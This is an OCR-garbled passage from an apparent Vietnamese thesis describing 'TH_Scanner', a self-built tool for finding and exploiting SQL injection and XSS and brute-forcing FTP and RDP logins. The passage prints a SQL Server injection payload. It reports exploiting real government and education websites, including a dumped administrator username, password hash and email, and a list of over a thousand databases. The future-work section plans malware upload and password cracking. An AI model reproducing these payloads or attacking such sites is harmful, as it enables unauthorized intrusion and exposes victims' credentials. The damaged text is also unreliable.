chan cac ham do nguoi 1ap trinh thiét 1ap: bypass 16i 403,
404, 406, 500, thuc hién mot sb bypass nang cao.

4.1.2. Thir nghiém phat hién va khai thac 18 hong
XSS

TH_Scanner c6 thé phét hi¢n va khai thac 16 hong
XSS véi 433 payload. Ngoai thuc hién viéc hien thi cac
théng diép, phan mém con thuc hién chén cac link doc hai,
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ldy cookie, session, key logger, bypass viéc loc cac ky tu
meta data do nguoi 1ap trinh thiet lap.

4.1.3. Thir nghiém khai thac cic 16 hong bao mat
khac

- Phét hién file dir liéu nhay cam cua website: Co
kha nang quét va phat hién 31 loai file dr liéu nhay cam
gom: pub.zip, pub.rar, public_html.zip, public_html.rar,
html.zip, html.rar, backup ...

- Tién hanh xu Iy song song nhiéu muc tiéu, thuc
hién crawler, phét hién va khai thac dong thoi 02 16 hdng
SQLi va XSS. Qua thir nghiém véi may tinh cau hinh st
dung bo xur ly Intel Core i5-6200U CPU, RAM 8GB c6 thé
thuc hién ddng thoi 53 muc tiéu, TH_Scanner chay hon 200
threads chiém 6% CPU.

4.1.4. Nhan xét

TH_Scanner c6 thé phét hién va khai thac tét véi
cac 16 hong SQLi dang MySQL, SQL Server, mot sé dang
bypass co ban va nang cao, c6 thé khai thac nhiing website
c6 do bao mat trung binh cua co quan chinh phu, té chirc
gi4o duc, tuy nhién van chwa khai thac duoc hét voi tat ca
cac dang CSDL, chua bypass nhiéu dang loc nang cao do
ngudi lap trinh cdu hinh.

Vi 16 hong XSS, ¢6 kha nang phat hién tét URL c6
16 hong XSS va khai thac mot sé payload voi XSS. Véi mot
s6 URL thuc hién loc ky ty metadata nang cao chua thuc
hién bypass tét.

V6i chire nang brute force tai khoan dang nhap FTP
va RDP bo tir dién doan mat khau con it do d6 méi chi thuc
hién brute force dugc v&i mot s6 mat khau don gian.
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4.2. So sanh véi cac cong cu Scanner khac

4.2.1. So sanh tinh nang:

Timbnins Crawler | Phat Phat Lap Brute Brute Thist Tuding
hign. hign. lich force force lap nhan
khai Ehai chay, FTP RDF Proxy dizgnva
thag thac nhap
SOLi XS8 website théngtin

e webfonn

Acumetiz Ce Ce Ce Ce Ehonz | Ehong | Co Ce Khong

SQLMap Ehons | €2 Ehonz | Ehopg | Ehong | Khong | G0 Ehong | Khong

BurpSute ca ca ca ca Ehonz | Ehong | Co Ce Ce

Hawii Ehénz | Co Ehénz | Ehdnz | Ehéng | Ehdng | Ehdnz | Ehéng | Khing

HS8er Ca Ehénz | Co Ehénz | Ehing | Ehénz | Ca Ca Ehénz

Hinh 16: So sanh TH Scanner va cdc cong cu Scanner
khac

4.2.2. Sosanh hi¢u qua:

* Danh sach mgt so website ma TH_Scanner c6 thé
phat hi¢n va khai thac thanh cong trong khi nhing phan
mém Scanner khac khong lam dwoc.

Vi URL:
http://www.mlmupc.gov.kh/?page=detail&menul=215&me
nu2=454&ctype=article&id=9
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http://www.mlmupc.gov.kh/?page=detail&menu1=215&menu2=454&ctype=article&id=9
http://www.mlmupc.gov.kh/?page=detail&menu1=215&menu2=454&ctype=article&id=9

Target aww.mimupc.gov.kh/?page=detailimenui=215&menu2=454&ctype=article@id=9 > u
Analyze 7
[T Kepword:  Auto Detect [CSyntax  Auto Detect nalyze fause
Dalshsse:  [Auto Detect v|  Method [GET <] Twpe: [AutoDetect  ¥| ¥
Load Save
Post Data:
L7 i ® = @ Az A
About Infa Tables  Read Files WriteFile CmdShell  Query  Find Admin  MD5 Settings
Havij - Advanced SQL Injection Tool
Version 1.17 Pro
ITSECTEAM Copyright © 2009-2012
By r3dmov3
http://ITSecTeam.com
http://forum.Itsecteam.com
info@itsecteam.com Check for update
Databases: License
MsSQL with error -
MsSQL no error
MssQL Blind
MsSQL time based
MsAccess
| sAccess Blind o
" Status: 'mIDLE Log ClearLog
umn: 1
: 406 NOT Acceptable
lcannot find string columnt
It seems that input parameter is not effective! Check the following:
e you sure that the input parameter really exists?! | |
Are you sure that the input value 'article’ is wvalid? (]|
l | Are you sure that the 'GET' method is correct?
< u »
I

Hinh 17: Sir dung cong cu Havij
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BE¥ Administrator: Command Prompt = | B

[14:5%:48]1 [CRITICAL] all tested parameters appear to bhe not injectahbhle. Try to

increase '——level’/’—rizk’ values to perform more tests. Also. you can try to »
erun by providing either a valid value for option ’'——string’ <or '——regexp’>. If
you suspect that there is some kind of protection mechanism involved {e.g. WAF)>
mayvbhe you could retry with an option ’'—tamper’ (e.g. '——tamper=spaceZcomment’)

[#] shutting down at 14:59:48

'menul’ iz not recognized as an internal or external command.
operable program or batch file.

'menu2’ iz not recognized as an internal or external command,.
operable program or hatch file.

‘ctype’ iz not recognized internal or external command.
operable program or batch fi

'id* is not recognized as an internal or external command.
operable program or hatch file.

Hinh 18: Sir dung cong cu SQL Map
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@TH-Sﬁnner(EmluilSQﬁvulnelabilily)l — -

|| & Auto exploit | Analyse & GetDBs [ Get tables T)Get columns =+ Getdata [ Save data |

URL:  http://www.mlmupc.gov.kh/?page=detail@menul=215&menu2=454&ctype=articleRid=9

i DB:  MysSQL - Processing log

>

thlcateqgory, thidocument, thlgallery, thllevel_setting, thllacation, thllogin_report,
tbimaillinklist, tbimember, tbimember_login, tblpermission, tblsite, tblsubscribe,
[“lemail thltracking_report, thitranslate, thltranslate_lang, tbluser, thluser_level, thluser_login,
Fluser level thlverify, tbiverify_member, tblvisitor_counter, v_article_description_en,

= - v_article_description_kh, v_article_title_en, v_article_title_kh, v_gallery_title_en,
v_gallery_title_kh

Find columns of table: mimupcgo_dbnew.tbluser

ic_add

ic_edit L 21 columns: id, userid, username, password, email, user_level, object_allows,

ic_delete =||permission_allows, ac_add, ac_edit, ac_delete, ac_duplicate, ac_recyclebin, ac_restore,

c_duplicate ac_drop, user_status, recycle, ip_address, add_date, edit_date, delete_date

c_reczc\ebm Get data of table: mimupcgo_dbnew.tbluser

ic_restore 1/1 rows

ic_drop

ser_status o .
userid email

admin 3a3350522d4b3d3c4b62583750d52102 |n.bunny@servingweb.com

—
Hinh 19: Str dung TH Scanner
* TH_Scanner c6 thé ldy dwoc todn bé tén cac
CSDL vogi SQL Server:

Str dung céu Iénh:

http://ww.site.com/index.php?id=1 and
1=convert(int,(SELECT top 1 substring((STUFF((SELECT
name as temp FROM Sys.Databases FOR XML
PATH("),1,0,"),-100,4000) as csdl FROM Sys.Databases

))
Véi website http://www.cdsphue.edu.vn/ ¢d thé lay
duoc toan bd 1190 CSDL dat trén server.
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http://ww.site.com/index.php?id=1
http://www.cdsphue.edu.vn/

@ TH-Scanner (Exploit SQli vulnerability)

=B 8

{0 £ Auto exploit | @ Analyse | & Get DBs [ Get tables |Get columns =- Get data | ) Save data |

URL:  http://www.cdsphue.edu.

—

asp?ID=163

DB: MS SQL Server - Processing log
e e
’ CdSD_h!.IE 1177: vntours o
-[12013_tinsport 1178: web_bvat
-[Jaaa_phongve24hcom 1179: web_danangupi2014
[Jaackiemtoan 1180; web_hueime
-[]abatdongsan 1181: WebAgribank
[ abedef 1182; webgnpc
-[labilingdivn 1183: webvienkinhte
1184: wscege
-adeth 1185: wsindopala
[adbChiHoa 1186: wsindopalademo
-[’ladbPhuongLanCs 1187: xekhachtuyenminh
-[Jadbtuananh 1188: xosobdh
-[adbtuixachphuonglan 1189: xuonggoTruongAnh
-FAdminCMS 1190: YenHaiThanh a3
[[agribankphuyen i U

Hinh 20: TH Scanner lcfy dwoc toan b CSDL trén
server

4.2.3. Nhan xét:

Vé tinh ning, TH_Scanner b6 sung thém mot sb
tinh nang ma cac cong cu Scanner khéc it c6 nhu: Khai thac
ddng thoi ca 15i SQLI, XSS; lap lich chay nhidu website
cung luc, Brute Force FTP, Brute Fore RDP. Tuy nhién,
TH_Scannner con thiéu nhiéu tinh ning so vé&i cac phan
mém khac nhu: ty dong nhan dién va nhap thdng tin vao
webform, khai thdc Google Hacking Database, thuc hién
lénh, truy cap file hé thong, giai md mat khau tai khoan, cai
ma doc, tai dit lidu vé server hoic gui dit lidu vé email. ..
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V& tinh hiéu qua, TH_Scanner c6 thé khai thac mot
s6 website c6 mirc do bao mat trung binh, bypass mot sé
ham loc do nguoi lap trinh thiét lap, tuy nhién con nhiéu
website ma TH_Scanner khong phét hién va khai thac dugc
trong khi cac phan mém Scanner khac lam duoc.

KET LUAN

Qua mét thoi gian nghién ciru, duoc su gitp d tan
tinh cia gido vién huéng dan, cac dong nghiép, gia dinh,
dén nay dé tai “Phan tich tw déng cdc Website dé phét hién
16 hong tiém nhiém SQL va XSS” co ban dd dat duoc cac
muc tiéu dé ra:

+ Nghién cau cac 15 héng bao mat tng dung web,
phuong phap khai thac 16 héng bao mat SQLi, XSS véi timg
loai co s¢ dir li€u, cach thirc bypass viéc loc cac ky tu dau
vao do nguoi 1ap trinh thiét lap.

+ Xay dung cong cu co cac chirc nang: crawler, phat
hién va khai thac 16 hong bao mat SQLi va XSS, do quét cac
file nhay cam, duong dan ding nhap, brute force tai khoan
dang nhap FTP va RDP.

+ Tién hanh xu Iy song song, 1ap lich c6 thé thuc
hién do quét nhiéu muc tiéu dong thoi trén ca 05 chiic ning
la: crawler, do quét SQLi, XSS, tim file nhay cam, duong
dan dang nhap.

+ Cong cu nay co kha ndng phat hién va khai thac
t5t mot sé muc tiéu ma céac phan mém scanner hién tai
khoéng thuc hién dugc.

Hwéng phét trién:

Trong thoi gian t6i, tiép tuc hoan thién cac chuc
ning hé théng nhu: nghién ctru bd sung thém céc giai phéap
bypass nang cao trong khai thac 16 hong SQLi; giai phap
bypass ky tu metadata trong khai thac XSS, xay dung bo tir
dién twong dbi day du brute force tai khoan FTP, RDP; thur
nghiém véi nhiéu website dau vao dé co thé khai thac nhiéu
dang SQLi va XSS nhit. Ngoai ra, bd sung thém maét s tinh
ning méi nhu crack mat khau, cai ma doc 1én server, truy
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cap file hé thong..., phat trién cdng cu thanh hé thong kiem
tralo héng bao mat web tuong gc‘)i hoan thién.
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